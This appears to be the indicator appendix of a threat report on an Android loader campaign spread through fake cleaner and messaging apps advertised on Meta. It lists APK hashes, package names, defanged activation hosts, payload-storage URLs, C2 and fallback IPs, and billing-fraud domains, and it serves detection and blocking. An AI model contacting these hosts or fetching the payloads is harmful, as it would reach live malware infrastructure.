base APK (2.4.1): 9970a7da384f4a338c042a9857a8fb784bfbe608449c2c3ca29285a01ec84e79
signer certificate: 4e3a17d46264063db19ad2a1f3e529a142d4b46296bf80d8c2ab27f400e93cb7
Go Cleaner Pro - com.merclean.approximating
base APK (1.0.2): 8ea135151465aa072c02b8a143d50a23a711bdda4cf29a8e91b57c0c2f5b8883
signer certificate: 99beee6b30978300d75dffe3ce3a0beab6a93faf1e317df0ca818760438ef54f
Quick Message Pro - com.msg.quick.secure.chsrkm
base APK (1.10): bfa4dab9fb2ee21b39964651b67ef47bb80ddcfc8fb969dcecd121e83bf06667
signer certificate: ab580c934dec46e5afe36698afe74ad59a81170eeda1e9ba0f3b1d691fa6266b
Related loader samples used for infrastructure analysis
Storage Cleaner - ai.storage.cleaner.phonecleaner.junkfiles.wlchyh
APK: 3af3f780722cb9bba958f85f0843112501f15922c30151ec04c767e1992aa5bd
Document Reader - fast.documentreader.pdfviewer.kqvndr
APK: 45eec140149f10096368e7ca83af958805fcf5a2f59f0894c6cea197bf4c56d7
Smart Clean - com.smartcleansdhcn.tools
APK: 782fd6241a07831c7539b1c106c54fdf1be62d9a5bac2139ea42d4fdbd7799ad
APK: 9a2af014ce573f3480e528bb4a0949ed2d4f47fecaf747f8bb5a05ea45da7457
APK: a19e349b7aa3cec11e4ce4175eeb20992495ac6b33433f6d856093d5f3f19bd4
Clean Max - com.cleanmax.imam.cleaner.upvvpdh
APK: 228f177aacd2bd84da3954d69f4ae430478027728b4eb990815f79a1a36f6276
Frekas - com.storage.phone.delete.frekas
APK: a62e4dff996e366aa138649a3451ce6a563e73b0f456c7f2ad5aaeba99f12e01
AI Cleaner certificate pivot - com.phonecleaner.aicleaner.junkcleaner.qmqhkr
APK: 4d4ec634a6ddb497eb90b5eaa824cc0cacd878cba6143da19d7433ede888d397
Earlier PDF certificate pivot - com.pdfscanner.sgiwncl
APK: df3cad997d5a286c1f3609acd0c436a8962baa4a4d6a9172ab8c46a140f6b4ca
Advertising campaign with a different implementation
- Application:
Colorful Message - Package:
com.colorsms.poetry.messages - Base APK SHA-256:
e624939f6a73e3bfce5587a2ba0c461363909dd31cf912b04f88a525aada71dd - ARM64 configuration split SHA-256:
a6bb91620972efb5895291658d15e474428304d40421099efdd9b33072b5b57c - Policy endpoint:
api.piaagt[.]click/view/colorful-messagee/home - Exact advertising image SHA-256:
7299f7de6acf366fc7f32f7c3873a09e11a08d9493aaa508cd2b2ee816c5d284 - Largest reused advertising file SHA-256:
90b87d8b4dda273ef64853a9997bba0844f0bc02071ae5101d1be2693be1b861
Colorful Message is connected through exact advertising file reuse and the shared api.piaagt[.]click host, but its APK used a different hidden native implementation. These indicators should not be interpreted as evidence that it contained the same loader code.
The complete collection from the investigation contains 1235 unique Meta Ad Library IDs. Exact campaign advertising files also linked the following recovered packages to the distribution set, but these APK versions did not expose the operation loader:
Easy Messages Pro - com.smstext.easymessages.messengerpro - 15 ads
base APK: ac181590a54dceda2e6b61bbd096943d2e122adb6cb855a8dbfbb4f2c9bdec43
Comic Reader - com.sth.grumb.plays - 4 ads
base APK: 4be8f742726d57572332651fa91e07c010a25a92fd410446e87d486544bd6d11
We also identified the following advertised packages after their APKs had become unavailable, so no file hash could be recovered:
| Application | Package | Ads |
|---|---|---|
| Light SMS | com.chat.lightsms.messages.tmessaging |
25 |
| Easy Messages | com.easymessages.textsms.messages |
15 |
| Display name unavailable | com.trusted.pdfeditor.xnqala |
11 |
| Display name unavailable | com.goconversation.motsms |
10 |
| Display name unavailable | com.sms.mms.message.chat.onih |
10 |
| Display name unavailable | com.purelyclean.puressd |
7 |
| Display name unavailable | site.plmn.qazcaqzsw |
4 |
Loader activation and policy infrastructure
api.bcvsri[.]link
api.sdbnxm[.]link
api.trixbn[.]link
api.fdghsn[.]link
api.fgsbns[.]link
api.ghdnbv[.]link
api.hsbdbv[.]link/mkds/cneu
api.ksbxnc[.]link
api.tehsnb[.]link/sabd/mckd
api.yandeb[.]link/cnjd/mckdjf
api.uhsbxh[.]link/ehed/mcdjd
api.evabunt[.]link/ywes/tmop
api.piaagt[.]click/foung/shrts
api.fuzwek[.]click/pekui/zzmer
api.vamko[.]click/edapsn/sewkx
api.swepqk[.]click/zleir/oyfen
api.piaagt[.]click/rumag/ksgpr
api.funtpjw[.]click/rumag/ksgpr
api.tegonp[.]click/ver1/textmg
api.merfunk[.]click/dafiv/taqmg
api.dokersxxnv[.]click/naizboa/bhbdxcm
Payload storage
boitim.oss-eu-west-2.aliyuncs[.]com/taoxe
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2115
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2116
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2124
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2132
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2145
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2150
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2154
tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2155
msg.fastcleaa[.]link/xsW23Q5kk
bsmt.oss-ap-southeast-1.aliyuncs[.]com/af68
C2, fallback and reporting infrastructure
47.84.77[.]127 - Messenger Pro default payload C2
47.84.194[.]202/asnvoycs - targeted payload C2
47.84.193[.]174/j26j8vf7 - Phone Cleaner Master AqMu C2
47.84.57[.]5 - Phone Cleaner Master fallback
43.106.56[.]154 - PDF Scanner Art fallback
8.219.222[.]81 - Text Chat fallback
47.245.84[.]227 - Smart Clean fallback
47.84.66[.]120 - Frekas fallback
129.226.172[.]250 - shared fallback C2
47.84.188[.]213/abxy/relay - targeted payload relay (dormant capability)
api.appbhwljk[.]com/api/v3/wkev - shared event reporting endpoint
x.euono[.]com - French targeted payload landing and remote helper host
auezon[.]com - French targeted payload affiliate host
Passive infrastructure pivots
| API host | Aliyun load balancer | Observed IP addresses |
|---|---|---|
api.evabunt[.]link |
alb-htjwboeswuvyfbey5r.us-east-1.alb.aliyuncsslbintl[.]com |
43.111.41[.]104, 47.85.93[.]229 |
api.piaagt[.]click |
alb-nyge1lm61a4q9joot5.us-east-1.alb.aliyuncsslbintl[.]com |
47.90.133[.]78, 43.111.55[.]59 |
api.fuzwek[.]click |
alb-a53d7s5jp0wd9h0iam.us-east-1.alb.aliyuncsslbintl[.]com |
47.85.176[.]98, 47.85.136[.]47 |
api.swepqk[.]click |
alb-k9ugfht8xgewgi1lrb.us-east-1.alb.aliyuncsslbintl[.]com |
47.252.11[.]251, 47.90.139[.]92 |
api.vamko[.]click |
alb-kgoj9yc3iyv4znqtoc.us-east-1.alb.aliyuncsslbintl[.]com |
47.85.160[.]112, 43.111.60[.]66 |
TLS pivots for API hosts used by the newly recovered builds are listed below. For the four newly recovered hosts, our passive dataset did not expose an Aliyun load balancer name:
| API host | Observed IP addresses | TLS certificate SHA-256 |
|---|---|---|
api.piaagt[.]click |
47.90.133[.]78, 43.111.55[.]59 |
114c6c6afb589ca659bcff51f3a81d748adaeb7c5f4ba900063ca528c59397ab |
api.funtpjw[.]click |
47.85.54[.]57, 47.85.210[.]65 |
8a083a4ffa3168df140cd4de41da67dddb3c5c840cf67e29c9af35c022c4b339 |
api.tegonp[.]click |
43.111.31[.]36, 47.85.212[.]169 |
0625d00bc1b91a22fb16b40872952fda573372aacaed7bd1aa455f4ad1b41e38 |
api.merfunk[.]click |
47.85.86[.]6, 47.253.250[.]144 |
3f9e594682d10896073bc083a024ea4b2b68b512d17eafe3e8510b000d657e89 |
api.dokersxxnv[.]click |
47.253.204[.]73, 47.253.180[.]31 |
ce6a7084bf7a93fb5547b2e474bbad87ddd343f40a296124b6d83203040cfcb9 |
- Reused TLS certificate SHA-256:
5848152508acc864869500c0dfff20723a087019eb717131dc6d7df51fbd75e6 - Certificate subject:
ablefee[.]wiki - Other endpoints presenting the certificate:
43.98.201[.]44,43.106.58[.]250,8.219.222[.]81,47.245.84[.]227,47.84.66[.]120
ablefee[.]wiki is a passive certificate pivot. It was not contacted by Messenger Pro and does not appear in its code.
Polish billing and affiliate infrastructure
nmx4e6qj[.]com
ua.forward-tv[.]net
lp.ooxxporn[.]net
dcb.teleaudio[.]pl
consulate.teleaudio[.]pl
epayment.teleaudio[.]pl
aff.odyss[.]club
izy0[.]com
These domains were observed in work assigned by the C2. Presence in this list does not establish that a domain is controlled by the malware operator.
